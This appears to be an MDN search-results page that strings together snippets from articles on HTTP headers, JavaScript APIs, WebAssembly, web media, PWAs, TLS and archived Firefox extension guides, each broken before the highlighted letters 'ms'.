(source) safari, chrome text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 (source) safari 5 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 this is an improvement over earlier accept headers as it no longer ranks image/png above text/html internet explorer 8 image/jpeg, application/x-
ms-application, image/gif, application/xaml+xml, image/pjpeg, application/x-
ms-xbap, application/x-shockwave-flash, application/
msword, */* see ie and the accept header (ieinternals'
msdn blog).
...source safari */* chrome image/webp,image/apng,image/*,*/*;q=0.8 source internet explorer 8 or earlier */* see ie and the accept header (ieinternals'
msdn blog) internet explorer 9 image/png,image/svg+xml,image/*;q=0.8, */*;q=0.5 see fiddler is better with internet explorer 9 (ieinternals'
msdn blog) values for a video when a video is requested, via the <video> html element, most browsers use specific values.
... user agent value comment firefox */* see bug 170789 safari, chrome */* source internet explorer 8 or earlier */* see ie and the accept header (ieinternals'
msdn blog) internet explorer 9 application/javascript, */*;q=0.8 see fiddler is better with internet explorer 9 (ieinternals'
msdn blog) values for a css stylesheet when a css stylesheet is requested, via the <link rel="stylesheet"> html element, most browsers use specific values.
... user agent value comment firefox 4 text/css,*/*;q=0.1 see bug 170789 source internet explorer 8 or earlier */* see ie and the accept header (ieinternals'
msdn blog) internet explorer 9 text/css see fiddler is better with internet explorer 9 (ieinternals'
msdn blog) safari, chrome text/css,*/*;q=0.1 source opera 11.10 text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/webp, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 konqueror 4.6 text/css,*/*;q=0.1 ...
Firefox user agent string reference - HTTP
for other products based on gecko, the string can take one of two for
ms, where the tokens have the same meaning except those noted below: mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail appname/appversion mozilla/5.0 (platform; rv:geckoversion) gecko/geckotrail firefox/firefoxversion appname/appversion appname/appversion indicates the application name and version.
...this way, your code will work if/when firefox ships on other phone/tablet operating syste
ms or android is used for laptops.
... firefox os devices identify the
mselves without any operating system indication; for example: "mozilla/5.0 (mobile; rv:15.0) gecko/15.0 firefox/15.0".
... other gecko-based browsers these are some sample ua strings from other gecko-based browsers on various platfor
ms.
HTTP Messages - HTTP
web developers, or webmasters, rarely craft these textual http messages the
mselves: software, a web browser, proxy, or web server, perform this action.
...this is typically associated with html for
ms.
...several strea
ms can be combined together, a process called multiplexing, allowing more efficient underlying tcp connections.
...the http/2 framing mechanism adds a new intermediate layer between the http/1.x syntax and the underlying transport protocol, without fundamentally modifying it: building upon proven mechanis
ms.
Details of the object model - JavaScript
comparison of class-based (java) and prototype-based (javascript) object syste
ms category class-based (java) prototype-based (javascript) class vs.
...similarly, although the ter
ms parent, child, ancestor, and descendant do not have formal meanings in javascript; you can use them informally to refer to objects higher or lower in the prototype chain.
... local versus inherited values when you access an object property, javascript perfor
ms these steps, as described earlier in this chapter: check to see if the value exists locally.
...so, if your next statement is the following, victoria.id is 1 and harry.id is 2: var victoria = new employee('pigbert, victoria', 'pubs'); var harry = new employee('tschopik, harry', 'sales'); at first glance that see
ms fine.
Inheritance and the prototype chain - JavaScript
however, this unique information would only be generated once, potentially leading to proble
ms.
...however, both these are generally not proble
ms at all (in fact, usually beneficial) if it is all your own code and you know what does what where.
...however, as microsoft has discontinued extended support for syste
ms running these old browsers, this should not be a concern for most applications.
...also, be aware of the length of the prototype chains in your code and break them up if necessary to avoid possible performance proble
ms.
JavaScript technologies overview - JavaScript
among other things, ecmascript defines: language syntax (parsing rules, keywords, control flow, object literal initialization, ...) error handling mechanis
ms (throw, try...catch, ability to create user-defined error types) types (boolean, number, string, function, object, ...) the global object.
...the w3c standardizes the core document object model, which defines language-agnostic interfaces that abstract html and xml documents as objects, and also defines mechanis
ms to manipulate this abstraction.
... html dom html, the web's markup language, is specified in ter
ms of the dom.
... the html specification also defines restrictions on documents; for example, it requires all children of a <ul> element, which represents an unordered list, to be <li> elements, as those represent list ite
ms.
Array - JavaScript
ning of an array let newlength = fruits.unshift('strawberry') // add to the front // ["strawberry", "banana"] find the index of an item in the array fruits.push('mango') // ["strawberry", "banana", "mango"] let pos = fruits.indexof('banana') // 1 remove an item by index position let removeditem = fruits.splice(pos, 1) // this is how to remove an item // ["strawberry", "mango"] remove ite
ms from an index position let vegetables = ['cabbage', 'turnip', 'radish', 'carrot'] console.log(vegetables) // ["cabbage", "turnip", "radish", "carrot"] let pos = 1 let n = 2 let removedite
ms = vegetables.splice(pos, n) // this is how to remove ite
ms, n defines the number of ite
ms to be removed, // starting at the index position specified by pos and progressing toward the end of array.
... console.log(vegetables) // ["cabbage", "carrot"] (the original array is changed) console.log(removedite
ms) // ["turnip", "radish"] copy an array let shallowcopy = fruits.slice() // this is how to make a copy // ["strawberry", "mango"] accessing array elements javascript arrays are zero-indexed.
... examples creating an array the following example creates an array,
msgarray, with a length of 0, then assigns values to
msgarray[0] and
msgarray[99], changing the length of the array to 100.
... let
msgarray = []
msgarray[0] = 'hello'
msgarray[99] = 'world' if (
msgarray.length === 100) { console.log('the length is 100.') } creating a two-dimensional array the following creates a chessboard as a two-dimensional array of strings.
Date.prototype.getTime() - JavaScript
in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 new date().gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ...
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
... var end, start; start = new date(); for (var i = 0; i < 1000; i++) { math.sqrt(i); } end = new date(); console.log('operation took ' + (end.gettime() - start.gettime()) + '
msec'); specifications specification ecmascript (ecma-262)the definition of 'date.prototype.gettime' in that specification.
Date.now() - JavaScript
syntax var timein
ms = date.now(); return value a number representing the milliseconds elapsed since the unix epoch.
... in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2
ms.
... // reduced time precision (2
ms) in firefox 60 date.now() // 1519211809934 // 1519211810362 // 1519211811670 // ...
... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100
ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger.
Date.prototype.setHours() - JavaScript
syntax dateobj.sethours(hoursvalue[, minutesvalue[, secondsvalue[,
msvalue]]]) versions prior to javascript 1.3 dateobj.sethours(hoursvalue) parameters hoursvalue ideally, an integer between 0 and 23, representing the hour.
...
msvalue optional.
...if you specify the
msvalue parameter, you must also specify the minutesvalue and secondsvalue.
... description if you do not specify the minutesvalue, secondsvalue, and
msvalue parameters, the values returned from the getminutes(), getseconds(), and getmilliseconds() methods are used.
Date.prototype.setMinutes() - JavaScript
syntax dateobj.setminutes(minutesvalue[, secondsvalue[,
msvalue]]) versions prior to javascript 1.3 dateobj.setminutes(minutesvalue) parameters minutesvalue an integer between 0 and 59, representing the minutes.
...
msvalue optional.
...if you specify the
msvalue parameter, you must also specify the minutesvalue and secondsvalue.
... description if you do not specify the secondsvalue and
msvalue parameters, the values returned from getseconds() and getmilliseconds() methods are used.
Date.prototype.setUTCHours() - JavaScript
syntax dateobj.setutchours(hoursvalue[, minutesvalue[, secondsvalue[,
msvalue]]]) parameters hoursvalue an integer between 0 and 23, representing the hour.
...
msvalue optional.
...if you specify the
msvalue parameter, you must also specify the minutesvalue and secondsvalue.
... description if you do not specify the minutesvalue, secondsvalue, and
msvalue parameters, the values returned from the getutcminutes(), getutcseconds(), and getutcmilliseconds() methods are used.
Date.prototype.setUTCMinutes() - JavaScript
syntax dateobj.setutcminutes(minutesvalue[, secondsvalue[,
msvalue]]) parameters minutesvalue an integer between 0 and 59, representing the minutes.
...
msvalue optional.
...if you specify the
msvalue parameter, you must also specify the minutesvalue and secondsvalue.
... description if you do not specify the secondsvalue and
msvalue parameters, the values returned from getutcseconds() and getutcmilliseconds() methods are used.
Intl.Locale.prototype.numberingSystem - JavaScript
the numberingsystem property helps to represent the different numeral syste
ms used by various countries, regions, and cultures around the world.
... as with most internationalization schemas, the numeral syste
ms that can be represented in a locale object by numberingsystem are standardized by unicode.
... a table of the standard unicode numeral syste
ms can be seen below.
... let numberingsystemviastr = new intl.locale("fr-latn-fr-u-nu-mong"); console.log(numberingsyste
mstr.numberingsystem); // prints "mong" setting the numberingsystem value via the configuration object argument the intl.locale constructor has an optional configuration object argument, which can be used to pass extension types.
Intl.PluralRules() constructor - JavaScript
the following properties fall into two groups: minimumintegerdigits, minimumfractiondigits, and maximumfractiondigits in one group, minimu
msignificantdigits and maximu
msignificantdigits in the other.
... minimu
msignificantdigits the minimum number of significant digits to use.
... maximu
msignificantdigits the maximum number of significant digits to use.
...this is useful to distinguish between singular and plural for
ms, e.g.
WebAssembly.Instance - JavaScript
desktopmobileserverchromeedgefirefoxinternet exploreroperasafariandroid webviewchrome for androidfirefox for androidopera for androidsafari on iossa
msung internetnode.jsinstancechrome full support 57edge full support 16firefox full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).ie no support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0instance() constructorchrome full support 57edge full support 16firefox full support 52notes ful...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0exportschrome full support 57edge full support 16firefox full support 52notes full support ...
... support 57firefox android full support 52notes full support 52notes notes disabled in the firefox 52 extended support release (esr).opera android full support 43safari ios full support 11sa
msung internet android full support 7.0nodejs full support 8.0.0legend full support full support no support no supportsee implementation notes.see implementation notes.
label - JavaScript
oop2" if (i === 1 && j === 1) { continue loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // "i = 2, j = 0" // "i = 2, j = 1" // "i = 2, j = 2" // notice how it skips both "i = 1, j = 1" and "i = 1, j = 2" using a labeled continue statement given an array of ite
ms and an array of tests, this example counts the number of ite
ms that passes all the tests.
... var ite
mspassed = 0; var i, j; top: for (i = 0; i < ite
ms.length; i++) { for (j = 0; j < tests.length; j++) { if (!tests[j].pass(ite
ms[i])) { continue top; } } ite
mspassed++; } using a labeled break with for loops var i, j; loop1: for (i = 0; i < 3; i++) { //the first for statement is labeled "loop1" loop2: for (j = 0; j < 3; j++) { //the second for statement is labeled "loop2" if (i === 1 && j === 1) { break loop1; } console.log('i = ' + i + ', j = ' + j); } } // output is: // "i = 0, j = 0" // "i = 0, j = 1" // "i = 0, j = 2" // "i = 1, j = 0" // notice the difference with the previous continue example using a labeled break statement given an array of ite
ms and an array of tests, this example determines whethe...
...r all ite
ms pass all tests.
... var allpass = true; var i, j; top: for (i = 0; ite
ms.length; i++) for (j = 0; j < tests.length; i++) if (!tests[j].pass(ite
ms[i])) { allpass = false; break top; } using a labeled block with break you can use labels within simple blocks, but only break statements can make use of non-loop labels.
The "codecs" parameter in common media types - Web media technologies
av1 codec parameter string components component details p the one-digit profile number: av1 profile numbers profile number description 0 "main" profile; supports yuv 4:2:0 or monochrome bitstrea
ms with bit depth of 8 or 10 bits per component.
...all cbp strea
ms are considered to also be bp strea
ms.
...the base layer within the stream is provided at a high quality level, with some number of secondary substrea
ms that offer alternative for
ms of the same video for use in various constrained environments.
...the remaining substrea
ms must match the stereo high profile.
Web media technologies
media capture and strea
ms api a reference for the api which makes it possible to stream, record, and manipulate media both locally and across a network.
... mediastream recording api the mediastream recording api lets you capture media strea
ms to process or filter the data or record it to disk.
... streaming audio and video a guide which covers how to stream audio and video, as well as techniques and technologies you can take advantage of to ensure the best possible quality and/or performance of your strea
ms.
...to give users control over this, many browsers now provide for
ms of autoplay blocking.
OpenSearch description format
xmlns:moz="http://www.mozilla.org/2006/browser/search/"> <shortname>[snk]</shortname> <description>[search engine full name and summary]</description> <inputencoding>[utf-8]</inputencoding> <image width="16" height="16" type="image/x-icon">[https://example.com/favicon.ico]</image> <url type="text/html" template="[searchurl]"> <param name="[key name]" value="{searchter
ms}"/> <!-- other para
ms if you need them… --> <param name="[other key name]" value="[parameter value]"/> </url> <url type="application/x-suggestions+json" template="[suggestionurl]"/> <moz:searchform>[https://example.com/search]</moz:searchform> </opensearchdescription> shortname a short name for the search engine.
... for these url types, you can use {searchter
ms} to substitute the search ter
ms entered by the user in the search bar or location bar.
...when specifying values, you can use {searchter
ms} to insert the search ter
ms entered by the user in the search bar.
... to support autodiscovery, add a <link> element for each plugin to the <head> of your web page: <link rel="search" type="application/opensearchdescription+xml" title="searchtitle" href="pluginurl"> replace the bolded ite
ms as explained below: searchtitle the name of the search to perform, such as "search mdc" or "yahoo!
Animation performance and frame rate - Web Performance
while performance is sensitive to the particular system and its load, performance tools can help you understand the work the browser's doing to render your site, and help you prevent and diagnose proble
ms when they occur.
...it's to demonstrate how the tools can give you insight into the work the browser is doing to render your site, and how you can apply that insight to diagnose and fix performance proble
ms.
...in the screenshot above we've highlighted a paint operation, and the box on the right tells us it took 13.11
ms.
... with only 16.7
ms in our total budget, it's not surprising we are missing a consistently high frame rate.
Progressive loading - Progressive web apps (PWAs)
here's what the relevant code looks like: if('intersectionobserver' in window) { const observer = new intersectionobserver((ite
ms, observer) => { ite
ms.foreach((item) => { if(item.isintersecting) { loadimages(item.target); observer.unobserve(item.target); } }); }); imagestoload.foreach((img) => { observer.observe(img); }); } else { imagestoload.foreach((img) => { loadimages(img); }); } if the intersectionobserver object is supported, the app creates a new instance of it...
...the function passed as a parameter is handling the case when one or more ite
ms are intersecting with the observer (i.e.
... we could rewrite the loading process to load not only the images, but the complete ite
ms consisting of full descriptions and links.
... it would work like an infinite scroll — loading the ite
ms on the list only when the user scrolls the page down.
Mobile first - Progressive web apps (PWAs)
if you are using mechanis
ms like feature detection and matchmedia to conditionally load scripting functionality depending on viewport size, feature support, etc., you should just load the very basics that pretty much all browsers will need first, then progressively enhance browsers higher up the food chain.
... control mechanis
ms control mechanis
ms are another large constraint on mobile devices.
... mobile navigation when developing mobile app layouts, you often run into proble
ms with navigation menus.
... note: firefox's responsive design view is a great way to get a quick idea of how your media queries are behaving the
mselves.
Transport Layer Security - Web security
in tls 1.2 and earlier, the negotiated cipher suite includes a set of cryptographic algorith
ms that together provide the negotiation of the shared secret, the means by which a server is authenticated, and the method that will be used to encrypt data.
...these cipher suites all use modern authenticated encryption with associated data (aead) algorith
ms.
... numerous mechanis
ms have been disabled: renegotiation, generic data compression, digital signature algorithm (dsa) certificates, static rsa key exchange, and key exchange with custom diffie-hellman (dh) groups.
...alternative mechanis
ms are in the process of being developed, which will also support http/2.
Tutorials
advanced level html for
ms for
ms are a very important part of the web — these provide much of the functionality you need for interacting with websites, e.g.
...this module gets you started with creating the client-side parts of for
ms.
... advanced level using css transfor
ms apply rotation, skewing, scaling, and translation using css.
... you don't know js a series of books diving deep into the core mechanis
ms of the javascript language.
Index - WebAssembly
3 compiling a new c/c++ module to webassembly c, c++, compiling, e
mscripten, webassembly, wasm when you’ve written a new code module in a language like c/c++, you can compile it into webassembly using a tool like e
mscripten.
... 4 compiling an existing c module to webassembly c++, compiling, e
mscripten, webassembly, wasm a core use-case for webassembly is to take the existing ecosystem of c libraries and allow developers to use them on the web.
...this article provides a reference for the different mechanis
ms that can be used to fetch webassembly bytecode, as well as how to compile/instantiate then run it.
... 12 webassembly concepts c, c++, e
mscripten, javascript, webassembly, concepts, rust, text format, web platform this article has given you an explanation of what webassembly is, why it is so useful, how it fits into the web, and how you can make use of it.
Using the WebAssembly JavaScript API - WebAssembly
if you have already compiled a module from another language using tools like e
mscripten, or loaded and run the code yourself, the next step is to learn more about using the other features of the webassembly javascript api.
... more involved memory example let’s make the above assertions clearer by looking at a more involved memory example — a webassembly module that imports the memory instance we defined earlier, populates it with an array of integers, then su
ms them.
... const output = document.getelementbyid('output'); function asserteq(
msg, got, expected) { output.innerhtml += `testing ${
msg}: `; if (got !== expected) output.innerhtml += `fail!<br>got: ${got}<br>expected: ${expected}<br>`; else output.innerhtml += `success!
...this provides webassembly with a multitude of advances in ter
ms of architectural efficiency: one module can have n instances, in the same way that one function literal can produce n closure values.
Content Processes - Archive of obsolete content
to avoid proble
ms like this, content scripts should always see the built-in properties of the window object, even when they are overridden by another script.
...this avoids both proble
ms we mentioned earlier.
...by only passing messages between add-on modules and content scripts, these proble
ms can be avoided, making your add-on both easier to debug and to maintain.
Modules - Archive of obsolete content
this object for
ms the central access point for all functionality provided by the host application.
... to avoid proble
ms like this, the object passed to loadsubscript should be a true global object, having its own instances of the built-in constructors.
...a wrapper behaves exactly like the wrapped object, with one difference: for each property access/function it perfor
ms an access check to make sure that the calling script is actually allowed to access/call that property/function.
l10n - Archive of obsolete content
if you're supplying different localizations for a string depending on the number of ite
ms (that is, whether to use a singular or plural form) then get() takes a second integer parameter which indicates the number of ite
ms there are.
... you can supply one or more placeholders to get(), which are strings, such as proper names, that should not be translated the
mselves but instead should be inserted into the translated string.
...if you're supplying different localizations for a string for singular or plural for
ms, this parameter is the number of ite
ms there are in this case.
util/deprecate - Archive of obsolete content
globals functions deprecatefunction(fun,
msg) dump to the console the error message given in the second argument, prefixed with "deprecated:", and print the stacktrace; then execute the function passed as first argument and returns its value.
... parameters fun : function the function to execute after the error message
msg : string the error message to display returns * : the returned value from fun deprecateusage(
msg) dump to the console the error message given, prefixed with "deprecated:", and print the stacktrace.
... parameters
msg : string the error message to display ...
Tutorials - Archive of obsolete content
troubleshooting some pointers for fixing common proble
ms and getting more help.
... add a menu item to firefox add ite
ms to firefox's main menus.
... add a context menu item add ite
ms to firefox's context menu.
Add-on SDK - Archive of obsolete content
create user interface components create user interface components such as toolbar buttons, context menus, menu ite
ms, and dialogs.
... guides contributor's guide learn how to start contributing to the sdk and about the most important idio
ms used in the sdk code such as modules, classes and inheritance, private properties, and content processes.
... sdk idio
ms the sdk's event framework and the distinction between add-on scripts and content scripts.
Bootstrapped extensions - Archive of obsolete content
these are special extensions that, instead of using overlays to apply their user interface to the application, programmatically insert the
mselves into the application.
...also be aware that in some circu
mstances an add-on upgrade/downgrade may occur without the uninstall method being called.
...for example if you had a subfolder of en-us in locale folder your chrome.manifest file will have to contain: locale name_of_your_addon en-us locale/ here is an example: github :: l10n-properties - on startup of this add-on it will show a prompt saying usa or great britain, which ever it dee
ms closest to your locale.
Displaying web content in an extension without security issues - Archive of obsolete content
these issues can easily be avoided by making use of the existing security mechanis
ms in the mozilla codebase.
... the following article explains these security mechanis
ms, ideally an extension that needs to display web content (which is always potentially dangerous) will use all of them.
...so if we look at the frame hierarchy there is a boundary between chrome and content, and at that boundary a number of security mechanis
ms apply.
Interaction between privileged and non-privileged pages - Archive of obsolete content
(function() { callback({bar: 2}); }, 1000); } if (request.baz) { return settimeout(function() { callback({quux: 4}); }, 3000); } if (request.mozilla) { return alert("alert in chrome"); } return callback(null); } } something.listen_request(something.callback); message passing in chromium sending structured data the above mechanis
ms use element attributes and are thus only strings.
...receivestufffrompage(event) { var uc = geteventdata(event); // uc = unchecked data in form of e4x xml var stuff = {}; stuff.id = sanitize.integer(uc.@id); stuff.name = sanitize.label(uc.@name); } function sendsomethingtopage (something) { var somethingxml = <something/>; // |something| object as e4x xml somethingxml.@id = something.id; somethingxml.@weight = something.weight; send
msg("sendsomething", somethingxml); } /** * send
msgs from chrome to the page * @param type {string} the event type.
... the receiver needs to use that * when doing addeventlistener(type, ...) * @param dataxml {e4x} the data or detail */ function send
msg(type, dataxml) { var el = targetdoc.body; el.setattribute("eventdatatopage", dataxml ?
Multiple item extension packaging - Archive of obsolete content
if this is not done, any ite
ms that are not compatible will not be installed unless a compatibility check discovers updated compatibility information.
...extension / theme manager) is used, the manager will display the individual ite
ms contained by the multiple item package after the download completes in the same manner that it would if the user had chosen to install multiple individual ite
ms simultaneously.
... the manager will not display the multiple item package in the list of ite
ms after the download has completed.
Chapter 6: Firefox extensions and XUL applications - Archive of obsolete content
benefits of testing implementing the tests described here confir
ms that the methods work correctly, and builds confidence in your implementations.
...try to keep in mind real-world circu
mstances while you’re working on this.
... 4 - gonzui does not handle search strings with spaces very well; instead, go to the advanced search page, search on a few ter
ms, and then use your browser’s find function to search for the “:” character.
Appendix D: Loading Scripts - Archive of obsolete content
as this module only exists on firefox 4 and other gecko 2-based platfor
ms, the services in question will have to be manually loaded on other platfor
ms.
...proble
ms can ensue if the script immediately attempts to access dom nodes.
...under ordinary circu
mstances, native objects passed out of sandboxes are wrapped in xraywrapper objects, which means that only native properties of these objects are directly exposed to privileged code.
Appendix F: Monitoring DOM changes - Archive of obsolete content
for instance, when you want to modify the result of dom mutations that you know are the result of the doawesomedo
mstuff() function, you can wrap it as follows: { let originaldoawesomedo
mstuff = doawesomedo
mstuff; doawesomedo
mstuff = function _doawesomedo
mstuff() { let res = originaldoawesomedo
mstuff.apply(this, arguments); doawesomerdo
mstuff(res, arguments); return res; }; } now, whenever doawesomedo
mstuff() is called, the original function will be called, fo...
...llowed by your own doawesomerdo
mstuff() function, which can then further modify the dom as needed.
...this scheme is highly flexible and can be made to work under most circu
mstances.
Custom XUL Elements with XBL - Archive of obsolete content
as a bonus, you should look into the usage of nsifilepicker to open a "open file" dialog in a way that looks native for all syste
ms.
...these nodes are part of the xul dom just like any other, and having an id attribute is bound to cause proble
ms, given that you could have more than instance of your element in the same document and then multiple inner ite
ms with the same id.
... we have experienced proble
ms when calling methods and setting properties on xbl nodes right after they are created and inserted to the document.
JavaScript Object Management - Archive of obsolete content
firefox has a minimum delay of 10-15
ms (taken from this blog post), so it won't really run instantly.
... this post suggests a way to achieve a true zero
ms timeout, as a simple way to achieve parallelism in js code.
...setting window-specific data on code modules will lead to nothing but proble
ms, so be careful when deciding what should be chrome and what shouldn't be.
Mozilla Documentation Roadmap - Archive of obsolete content
having said that, there are a few proble
ms with it.
...there are several help and development channels where you can discuss proble
ms and other topics in real time with the people that have the answers.
...proble
ms using irc include: finding help when you have a big timezone difference with the united states, and no records of previously asked questions and their answers.
User Notifications and Alerts - Archive of obsolete content
the main disadvantage of using alerts is that support for the alerts service is not guaranteed for all platfor
ms and firefox versions.
...on linux syste
ms, we have confirmed that it works on firefox 3 on ubuntu linux, but we haven't tested all distributions and firefox versions.
...on firefox 3 and above, this see
ms to have been corrected, using the panel element.
Setting up an extension development environment - Archive of obsolete content
note that since many people have this setting turned off when developing, you will see lots of warnings for proble
ms with their code in addition to warnings for your own extension.
...this will send more detailed information about installation and update proble
ms to the error console.
...live dom of any web document or xul application (firefox and thunderbird) venkman, a javascript debugger (firefox version, thunderbird version) thunderbird developer tools, enables debugging thunderbird remotely using using firefox developer tools extension developer's extension a suite of tools for extension development (firefox) extension test an add-on which makes it easier to detect proble
ms which will lead to rejection by addons.mozilla.org console² enhanced javascript console (firefox version, thunderbird version) javascript command for writing/testing javascript on firefox windows inspect context open dom inspector at this node from inspect on context menu.
Signing an XPI - Archive of obsolete content
for windows, you'll want the nss-3.11.4.zip package in the nss_3_11_4_rtm/
msvc6.0/winnt5.0_opt.obj/ folder - it is by 2010 the only one with the right binaries.
...ideally you want a certificate that has a root ca installed in all major platfor
ms (microsoft windows, sun java, mozilla/netscape firefox/navigator, opera) so you only use one certificate for signing all your software, no matter which platform it is for.
... the cheapest universally supported (mozilla, java, microsoft) certificate see
ms to be the comodo instant-ssl offering.
Underscores in class and ID Names - Archive of obsolete content
note: browser support for underscores in css has greatly improved since this article was originally published in 2001 and the following recommendation is no longer accurate for most circu
mstances.
... summary: the use of the underscore character in css can lead to major display proble
ms in multiple browsers.
...this technical note examines the use of underscores in css, and why they should be generally avoided in most circu
mstances.
Localizing an extension - Archive of obsolete content
performing a few simple steps makes your extension much easier to localize into various languages without having to edit the xul or javascript files the
mselves.
...each locale file maps entity names referenced in the xul files to the strings the
mselves.
...the stockwatcher2.dtd file contains the mappings for the stockwatcher2.xul file: <!entity panel_loading "loading..."> <!entity menu_refresh_now.label "refresh now"> <!entity menu_apple.label "apple (aapl)"> <!entity menu_google.label "google (goog)"> <!entity menu_microsoft.label "microsoft (
msft)"> <!entity menu_yahoo.label "yahoo (yhoo)"> update the xul files each xul file needs to reference its corresponding locale file.
Creating a Web based tone generator - Archive of obsolete content
in order to always have samples to play, a buffer of 500
ms is created.
... the function mozcurrentsampleoffset() is used to know the position of the samples being played so that we can fill a 500
ms buffer of audio samples.
... var audio = new audio(); audio.mozsetup(1, samplerate); var currentwriteposition = 0; var prebuffersize = samplerate / 2; // buffer 500
ms var tail = null; // the function called with regular interval to populate // the audio output buffer.
Autodial for Windows NT - Archive of obsolete content
origin of the bug before the implementation of the autodial helper feature, mozilla would trigger the autodial feature on nt-based operating syste
ms, but only if certain conditions are met.
... most syste
ms are not set up correctly for this to happen, and most users have no idea how all these details work.
... how to configure autodial on nt-based syste
ms first, you will need to configure a dialup connection and make sure it works when triggered manually.
Creating a Firefox sidebar extension - Archive of obsolete content
this is an separate xul file that specifies the location of menu ite
ms.
...on unix syste
ms: ~/src/emptysidebar$ cd chrome ~/src/emptysidebar/chrome$ zip -r emptysidebar.jar content/ locale/ on windows syste
ms, use a zip tool to create emptysidebar.zip and then rename to emptysidebar.jar.
...on unix syste
ms: ~/src/emptysidebar/chrome$ cd ..
Creating regular expressions for a microsummary generator - Archive of obsolete content
matching from the start of the url while this expression matches the url, it also matches other urls that contain this url in their query parameters, for example: http://www.example.com/redirect.php?url=http://cgi.ebay.com/ws/ebayisapi.dll?viewitem&item=280018439106 that's probably not what we want, since urls that contain our example url probably aren't auction item pages the
mselves.
...to make it match other ite
ms, we have to remove the unique parts of it that match the specific item, leaving behind only those parts which are common to all ite
ms.
...but urls can contain multiple named parameters separated by ampersands (&), and the parameters can appear in any order, so even though the "item" parameter see
ms to be necessary, it might not appear right next to "viewitem".
Code snippets - Archive of obsolete content
let collection = "for
ms"; components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/record.js"); let recordtype = weave.engines.get(collection)._recordobj; let coll = new collection(weave.service.storageurl + collection, recordtype); coll.full = true; coll.recordhandler = function(item) { item.collection = collection; item.decrypt(); console.log(item.cleartext...
...e.storageurl + collection, recordtype); coll.full = true; coll.ids = [id]; coll.recordhandler = function(item) { item.collection = collection; item.decrypt(); console.log(item.cleartext); }; coll.get(); count types of bookmark records components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/record.js"); let deleted = 0; let ite
ms = {}; let collection = "bookmarks"; let recordtype = weave.engines.get(collection)._recordobj; let coll = new collection(weave.service.storageurl + collection, recordtype); coll.full = true; coll.limit = null; coll.recordhandler = function(item) { item.collection = collection; item.decrypt(); if (item.deleted) { deleted++; } else { ite
ms[item.type] = 1...
... + (ite
ms[item.type] || 0); } }; coll.get(); console.log("deleted: " + deleted + ", " + json.stringify(ite
ms)); get a log from xul fennec view about:sync-log.
jspage - Archive of obsolete content
assname)?19:18);}}},browser||{});browser.platform[browser.platform.name]=true; browser.detect=function(){for(var b in this.engines){var a=this.engines[b]();if(a){this.engine={name:b,version:a};this.engine[b]=this.engine[b+a]=true; break;}}return{name:b,version:a};};browser.detect();browser.request=function(){return $try(function(){return new xmlhttprequest();},function(){return new activexobject("
msxml2.xmlhttp"); },function(){return new activexobject("microsoft.xmlhttp");});};browser.features.xhr=!!(browser.request());browser.plugins.flash=(function(){var a=($try(function(){return navigator.plugins["shockwave flash"].description; },function(){return new activexobject("shockwaveflash.shockwaveflash").getvariable("$version");})||"0 r0").match(/\d+/g);return{version:parseint(a[0]||0+"."+a[1],1...
...:null;},dispose:function(){new cookie(this.key,$merge(this.options,{duration:-1})).write("");return this;}});cookie.write=function(b,c,a){return new cookie(b,a).write(c); };cookie.read=function(a){return new cookie(a).read();};cookie.dispose=function(b,a){return new cookie(b,a).dispose();};var swiff=new class({implements:[options],options:{id:null,height:1,width:1,container:null,properties:{},para
ms:{quality:"high",allowscriptaccess:"always",wmode:"transparent",swliveconnect:true},callbacks:{},vars:{}},toelement:function(){return this.object; },initialize:function(l,m){this.instance="swiff_"+$time();this.setoptions(m);m=this.options;var b=this.id=m.id||this.instance;var a=document.id(m.container); swiff.callbacks[this.instance]={};var e=m.para
ms,g=m.vars,f=m.callbacks;var h=$extend({height:m...
...}});request.html=new class({extends:request,options:{update:false,append:false,evalscripts:true,filter:false},processhtml:function(c){var b=c.match(/<body[^>]*>([\s\s]*?)<\/body>/i); c=(b)?b[1]:c;var a=new element("div");return $try(function(){var d="<root>"+c+"</root>",g;if(browser.engine.trident){g=new activexobject("microsoft.xmldom"); g.async=false;g.loadxml(d);}else{g=new domparser().parsefro
mstring(d,"text/xml");}d=g.getelementsbytagname("root")[0];if(!d){return null;}for(var f=0,e=d.childnodes.length; f<e;f++){var h=element.clone(d.childnodes[f],true,true);if(h){a.grab(h);}}return a;})||a.set("html",c);},success:function(d){var c=this.options,b=this.response; b.html=d.stripscripts(function(e){b.javascript=e;});var a=this.processhtml(b.html);b.tree=a.childnodes;b.elements=a.getelements...
Mozilla Application Framework - Archive of obsolete content
tinderbox our 24/7 build and test webtool that constantly builds, tests, and reports on the mozilla application suite on multiple platfor
ms so you can see the state of the application at any given point in time.
... dozens of existing applications from both large and small development tea
ms.
... mozilla has been ported to more than a dozen platfor
ms including windows (95, 98, nt, 2000, xp, ce), mac os x, linux, solaris, beos, openv
ms, os/2, aix, and hp-ux.
Nanojit - Archive of obsolete content
this chain of lirwriter objects for
ms a pipeline for the instructions to pass through.
... lins *rec_ins = out.insskip(sizeof(guardrecord) + sizeof(sideexit)); guardrecord *guard = (guardrecord *) rec_ins->payload(); me
